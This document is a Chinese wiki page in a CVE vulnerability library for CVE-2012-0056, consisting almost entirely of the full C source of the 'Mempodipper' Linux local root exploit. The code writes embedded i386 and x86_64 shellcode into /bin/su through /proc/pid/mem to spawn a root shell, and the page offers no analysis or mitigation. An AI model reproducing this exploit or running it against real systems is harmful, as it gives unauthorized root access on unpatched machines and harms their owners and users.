用户工具

站点工具


cve_漏洞库:cve-2012-0056

名称:Mempodipper
作者:zx2c4

mempodipper.c
#define _LARGEFILE64_SOURCE 
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <sys/user.h>
#include <sys/ptrace.h>
#include <sys/reg.h>
#include <fcntl.h>
#include <unistd.h>
#include <limits.h>
 
int send_fd(int sock, int fd)
{
        char buf[1];
        struct iovec iov;
        struct msghdr msg;
        struct cmsghdr *cmsg;
        int n;
        char cms[CMSG_SPACE(sizeof(int))];
 
        buf[0] = 0;
        iov.iov_base = buf;
        iov.iov_len = 1;
 
        memset(&msg, 0, sizeof msg);
        msg.msg_iov = &iov;
        msg.msg_iovlen = 1;
        msg.msg_control = (caddr_t)cms;
        msg.msg_controllen = CMSG_LEN(sizeof(int));
 
        cmsg = CMSG_FIRSTHDR(&msg);
        cmsg->cmsg_len = CMSG_LEN(sizeof(int));
        cmsg->cmsg_level = SOL_SOCKET;
        cmsg->cmsg_type = SCM_RIGHTS;
        memmove(CMSG_DATA(cmsg), &fd, sizeof(int));
 
        if ((n = sendmsg(sock, &msg, 0)) != iov.iov_len)
                return -1;
        close(sock);
        return 0;
}
 
int recv_fd(int sock)
{
        int n;
        int fd;
        char buf[1];
        struct iovec iov;
        struct msghdr msg;
        struct cmsghdr *cmsg;
        char cms[CMSG_SPACE(sizeof(int))];
 
        iov.iov_base = buf;
        iov.iov_len = 1;
 
        memset(&msg, 0, sizeof msg);
        msg.msg_name = 0;
        msg.msg_namelen = 0;
        msg.msg_iov = &iov;
        msg.msg_iovlen = 1;
 
        msg.msg_control = (caddr_t)cms;
        msg.msg_controllen = sizeof cms;
 
        if ((n = recvmsg(sock, &msg, 0)) < 0)
                return -1;
        if (n == 0)
                return -1;
        cmsg = CMSG_FIRSTHDR(&msg);
        memmove(&fd, CMSG_DATA(cmsg), sizeof(int));
        close(sock);
        return fd;
}
 
unsigned long ptrace_address()
{
        int fd[2];
        pipe2(fd, O_NONBLOCK);
        int child = fork();
        if (child) {
                close(fd[1]);
                char buf;
                for (;;) {
                        wait(NULL);
                        if (read(fd[0], &buf, 1) > 0)
                                break;
                        ptrace(PTRACE_SYSCALL, child, NULL, NULL);
                }
 
                struct user_regs_struct regs;
                for (;;) {
                        ptrace(PTRACE_SINGLESTEP, child, NULL, NULL);
                        wait(NULL);
                        ptrace(PTRACE_GETREGS, child, NULL, &regs);
#if defined(__i386__)
#define instruction_pointer regs.eip
#define upper_bound 0xb0000000
#elif defined(__x86_64__)
#define instruction_pointer regs.rip
#define upper_bound 0x700000000000
#else
#error "That platform is not supported."
#endif
                        if (instruction_pointer < upper_bound) {
                                uint32_t instruction = ptrace(PTRACE_PEEKTEXT, child, instruction_pointer, NULL);
                                int operator = instruction & 0xFF;
                                if (operator == 0xe8 /* call */) {
                                        int32_t offset = ptrace(PTRACE_PEEKTEXT, child, instruction_pointer + 1, NULL) + 5;
                                        return instruction_pointer + offset;
                                }
                        }
                }
        } else {
                ptrace(PTRACE_TRACEME, 0, NULL, NULL);
                close(fd[0]);
                dup2(fd[1], 2);
                execl("/bin/su", "su", "not-a-valid-user", NULL);
        }
        return 0;
}
 
unsigned long objdump_address()
{
        FILE *command = popen("objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'", "r");
        char result[32];
        result[0] = 0;
        fgets(result, 32, command);
        pclose(command);
        return strtoul(result, NULL, 16);
}
 
int main(int argc, char **argv)
{
        if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c') {
                char parent_mem[256];
                sprintf(parent_mem, "/proc/%d/mem", getppid());
                printf("[+] Opening parent mem %s in child.\n", parent_mem);
                int fd = open(parent_mem, O_RDWR);
                if (fd < 0) {
                        perror("[-] open");
                        return 1;
                }
                printf("[+] Sending fd %d to parent.\n", fd);
                send_fd(atoi(argv[2]), fd);
                return 0;
        }
 
        printf("===============================\n");
        printf("=          Mempodipper        =\n");
        printf("=           by zx2c4          =\n");
        printf("=         Jan 21, 2012        =\n");
        printf("===============================\n\n");
 
        int sockets[2];
        printf("[+] Opening socketpair.\n");
        if (socketpair(AF_UNIX, SOCK_STREAM, 0, sockets) < 0) {
                perror("[-] socketpair");
                return -1;
        }
        if (fork()) {
                printf("[+] Waiting for transferred fd in parent.\n");
                int fd = recv_fd(sockets[1]);
                printf("[+] Received fd at %d.\n", fd);
                if (fd < 0) {
                        perror("[-] recv_fd");
                        return -1;
                }
                printf("[+] Assigning fd %d to stderr.\n", fd);
                dup2(2, 6);
                dup2(fd, 2);
 
                unsigned long address;
                if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o')
                        address = strtoul(argv[2], NULL, 16);
                else {
                        printf("[+] Ptracing su to find next instruction without reading binary.\n");
                        address = ptrace_address();
                        if (!address) {
                                printf("[-] Ptrace failed.\n");
                                printf("[+] Reading su binary with objdump to find exit@plt.\n");
                                address = objdump_address();
                                if (address == ULONG_MAX || !address) {
                                        printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n");
                                        printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", argv[0], argv[0]);
                                        return 1;
                                }
                        }
                        printf("[+] Resolved exit@plt to 0x%lx.\n", address);
                }
                printf("[+] Calculating su padding.\n");
                FILE *command = popen("/bin/su this-user-does-not-exist 2>&1", "r");
                char result[256];
                result[0] = 0;
                fgets(result, 256, command);
                pclose(command);
                unsigned long su_padding = (strstr(result, "this-user-does-not-exist") - result) / sizeof(char);
                unsigned long offset = address - su_padding;
                printf("[+] Seeking to offset 0x%lx.\n", offset);
                lseek64(fd, offset, SEEK_SET);
 
#if defined(__i386__)
                // See shellcode-32.s in this package for the source.
                char shellcode[] =
                        "\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3"
                        "\x06\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68"
                        "\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89"
                        "\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"
                        "\x80";
#elif defined(__x86_64__)
                // See shellcode-64.s in this package for the source.
                char shellcode[] =
                        "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x48"
                        "\x31\xf6\x40\xb7\x06\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f"
                        "\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7"
                        "\x48\x31\xdb\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50"
                        "\x51\x57\x48\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05";
#else
#error "That platform is not supported."
#endif
                printf("[+] Executing su with shellcode.\n");
                execl("/bin/su", "su", shellcode, NULL);
        } else {
                char sock[32];
                sprintf(sock, "%d", sockets[0]);
                printf("[+] Executing child from child fork.\n");
                execl("/proc/self/exe", argv[0], "-c", sock, NULL);
        }
}
你需要登录发表评论。
cve_漏洞库/cve-2012-0056.txt · 最后更改: 2020/05/16 19:19 (外部编辑)

页面工具